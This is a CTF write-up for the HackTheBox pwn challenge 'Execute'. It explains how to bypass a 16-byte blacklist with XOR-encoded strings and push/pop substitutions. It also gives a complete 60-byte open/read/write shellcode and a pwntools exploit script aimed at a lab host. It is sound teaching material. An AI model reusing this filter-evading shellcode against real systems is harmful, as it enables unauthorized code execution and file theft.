Execute (pwn_execute)
hackthebox
Task: Write shellcode to read flag.txt under a 60-byte limit with a 16-byte blacklist filter. Solution: Use open/read/write (ORW) syscall chain instead of blocked execve, XOR-encode the "flag.txt" string with key 0x22 to bypass banned bytes, substitute blocked instructions with push/pop equivalents, and decode the string at runtime with a compact loop.
$ ls tags/ techniques/
Execute (pwn_execute) — HackTheBox
Description
Hey, just because I am hungry doesn't mean I'll execute everything
Remote: nc 83.136.253.132 37814
Files
execute— ELF 64-bit LSB PIE executable, x86-64, dynamically linked, not strippedexecute.c— Source codeflag.txt— Fake flag for local testing
Analysis
Binary Properties
| Property | Value |
|---|---|
| Arch | x86-64 |
| RELRO | Partial |
| Stack | Executable (-z execstack) |
| NX | Disabled |
| PIE | Yes |
| Canary | No |
Source Code
The binary reads up to 60 bytes of user input into a stack buffer, checks every byte against a 16-byte blacklist, and if all bytes pass — casts the buffer to a function pointer and calls it. Classic shellcode execution with a twist: a byte-level blacklist filter.
int check(char *a, char *b, int size, int op) { for(int i = 0; i < op; i++) { for(int j = 0; j < size-1; j++) { if(a[i] == b[j]) return 0; } } return 1337; }
The check() function iterates over every blacklist byte (a[i]) and every input byte (b[j]). If any match is found, it returns 0 (fail). Otherwise returns 1337 (pass).
The Blacklist (16 bytes)
| Hex | ASCII | Significance |
|---|---|---|
0x3b | ; | execve syscall number (59) |
0x54 | T | — |
0x62 | b | Part of /bin/sh |
0x69 | i | Part of /bin/sh |
0x6e | n | Part of /bin/sh |
0x73 | s | Part of /bin/sh |
0x68 | h | Part of /bin/sh + push imm32 opcode |
0xf6 | — | Used in xor rsi, rsi encoding |
0xd2 | — | Used in xor rdx, rdx encoding |
0xc0 | — | Used in xor rax, rax / xor eax, eax encoding |
0x5f | _ | pop rdi opcode |
0xc9 | — | leave / used in xor ecx, ecx |
0x66 | f | Part of "flag" + operand size prefix |
0x6c | l | Part of "flag" |
0x61 | a | Part of "flag" |
0x67 | g | Part of "flag" + address size prefix |
What's Blocked
execve("/bin/sh", ...)— Completely blocked: syscall number0x3b, all chars of/bin/sh, andpop rdi(0x5f) are banned.- Direct "flag.txt" string — All four letters of "flag" are banned bytes.
- Common zeroing instructions —
xor rax,rax(uses0xc0),xor rsi,rsi(uses0xf6),xor rdx,rdx(uses0xd2). push imm32(0x68) — Can't push strings directly onto stack.pop rdi(0x5f) — Can't use standard calling convention setup.
What's NOT Blocked
syscall(0x0f 0x05)push imm8; pop regpattern (e.g.,6a 00 58for zeroing rax)mov rdi, rsp(0x48 0x89 0xe7)movabs rax, imm64(0x48 0xb8 ...)xor byte [rdi], imm8(0x80 0x37 KEY)xchg rax, rdi(0x48 0x97)loop(0xe2)
Solution
Strategy: Open/Read/Write (ORW)
Since execve is too heavily restricted, use a file-reading shellcode chain:
open("flag.txt", O_RDONLY)— syscall 2read(fd, buffer, 80)— syscall 0write(STDOUT, buffer, 80)— syscall 1
Bypassing the Blacklist
String encoding: XOR-encode "flag.txt" with key 0x22:
"flag.txt" = 66 6c 61 67 2e 74 78 74
XOR 0x22 = 44 4e 43 45 0c 56 5a 56 (all clean!)
Key 0x22 was chosen because ALL encoded bytes avoid the blacklist.
Instruction substitutions:
| Blocked instruction | Replacement | Bytes |
|---|---|---|
xor rax, rax (uses 0xc0) | push 0; pop rax | 6a 00 58 |
xor rsi, rsi (uses 0xf6) | push 0; pop rsi | 6a 00 5e |
xor rdx, rdx (uses 0xd2) | push 0; pop rdx | 6a 00 5a |
pop rdi (0x5f) | mov rdi, rsp or xchg rax, rdi | 48 89 e7 / 48 97 |
push imm32 (0x68) | movabs rax, imm64; push rax | 48 b8 ... 50 |
Shellcode Breakdown (60 bytes exactly)
Phase 1 — String setup (13 bytes):
push 0 ; null terminator qword movabs rax, 0x565a560c45434e44 ; XOR-encoded "flag.txt" push rax ; string on stack
Phase 2 — XOR decode loop (14 bytes):
mov rdi, rsp ; point to encoded string push 8; pop rcx ; counter = 8 .loop: xor byte [rdi], 0x22 ; decode one byte inc rdi loop .loop ; decrement rcx, jump if != 0
Phase 3 — open("flag.txt", 0) (11 bytes):
mov rdi, rsp ; filename pointer push 0; pop rsi ; flags = O_RDONLY push 2; pop rax ; syscall 2 = open syscall
Phase 4 — read(fd, rsp, 0x50) (13 bytes):
xchg rax, rdi ; fd from open() into rdi mov rsi, rsp ; buffer = stack push 0x50; pop rdx ; count = 80 push 0; pop rax ; syscall 0 = read syscall
Phase 5 — write(1, rsp, 0x50) (9 bytes):
xor edi, edi ; rdi = 0 inc edi ; rdi = 1 (stdout) push 1; pop rax ; syscall 1 = write syscall ; rsi/rdx preserved from read()
Exploit Script
#!/usr/bin/env python3 from pwn import * context.arch = "amd64" HOST = "83.136.253.132" PORT = 37814 BLACKLIST = set(b"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67") sc = b"" # Phase 1: Push XOR-encoded "flag.txt\0" on stack (13 bytes) sc += b"\x6a\x00" # push 0 sc += b"\x48\xb8\x44\x4e\x43\x45\x0c\x56\x5a\x56" # movabs rax, encoded sc += b"\x50" # push rax # Phase 2: XOR decode loop (14 bytes) sc += b"\x48\x89\xe7" # mov rdi, rsp sc += b"\x6a\x08\x59" # push 8; pop rcx sc += b"\x80\x37\x22" # xor byte [rdi], 0x22 sc += b"\x48\xff\xc7" # inc rdi sc += b"\xe2\xf8" # loop -8 # Phase 3: open("flag.txt", 0) (11 bytes) sc += b"\x48\x89\xe7" # mov rdi, rsp sc += b"\x6a\x00\x5e" # push 0; pop rsi sc += b"\x6a\x02\x58" # push 2; pop rax sc += b"\x0f\x05" # syscall # Phase 4: read(fd, rsp, 0x50) (13 bytes) sc += b"\x48\x97" # xchg rax, rdi sc += b"\x48\x89\xe6" # mov rsi, rsp sc += b"\x6a\x50\x5a" # push 0x50; pop rdx sc += b"\x6a\x00\x58" # push 0; pop rax sc += b"\x0f\x05" # syscall # Phase 5: write(1, rsp, 0x50) (9 bytes) sc += b"\x31\xff" # xor edi, edi sc += b"\xff\xc7" # inc edi sc += b"\x6a\x01\x58" # push 1; pop rax sc += b"\x0f\x05" # syscall assert len(sc) == 60 for i, b in enumerate(sc): assert b not in BLACKLIST, f"Bad byte 0x{b:02x} at offset {i}" r = remote(HOST, PORT) r.recvuntil(b"everything\n") r.send(sc) result = r.recvall(timeout=5) if b"HTB{" in result: flag = result[result.index(b"HTB{"):result.index(b"}") + 1] print(f"FLAG: {flag.decode()}")
Key Indicators
Use this technique when you see:
- Shellcode execution with a byte-level blacklist filter
execvesyscall number (0x3b) is banned — switch to ORW chain- String characters are banned — use XOR encoding with a clean key
- Common instruction encodings blocked — use
push imm8; pop regas universal substitute forxor reg, reg - Tight size constraints — use
xchg rax, rdi(2 bytes) instead ofmov rdi, rax(3 bytes),loopfor compact iteration
Lessons Learned
- ORW > execve — When
execveis restricted, open/read/write is the reliable fallback for flag exfiltration. - XOR key selection — Systematically check that ALL encoded bytes avoid the blacklist. A simple script iterating keys 0x01-0xFF finds valid keys quickly.
- Instruction polymorphism — x86-64 has many equivalent instruction encodings.
push/popis almost universally clean and can replace most register operations. - Manual byte audit — Always verify every shellcode byte against the blacklist programmatically before sending.
- Size budgeting — With a 60-byte limit, plan each phase's byte count upfront. The XOR decode loop (14 bytes) is more compact than 8 individual
xor byteinstructions (40 bytes).
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][Pro]cat /flag under seccomp— spbctf
- [pwn][Pro]Mic Check — getflag— spbctf
- [pwn][free]0xDiablos— hackthebox
- [pwn][Pro]Easy ROP— hackerlab
- [pwn][free]Getting Started— hackthebox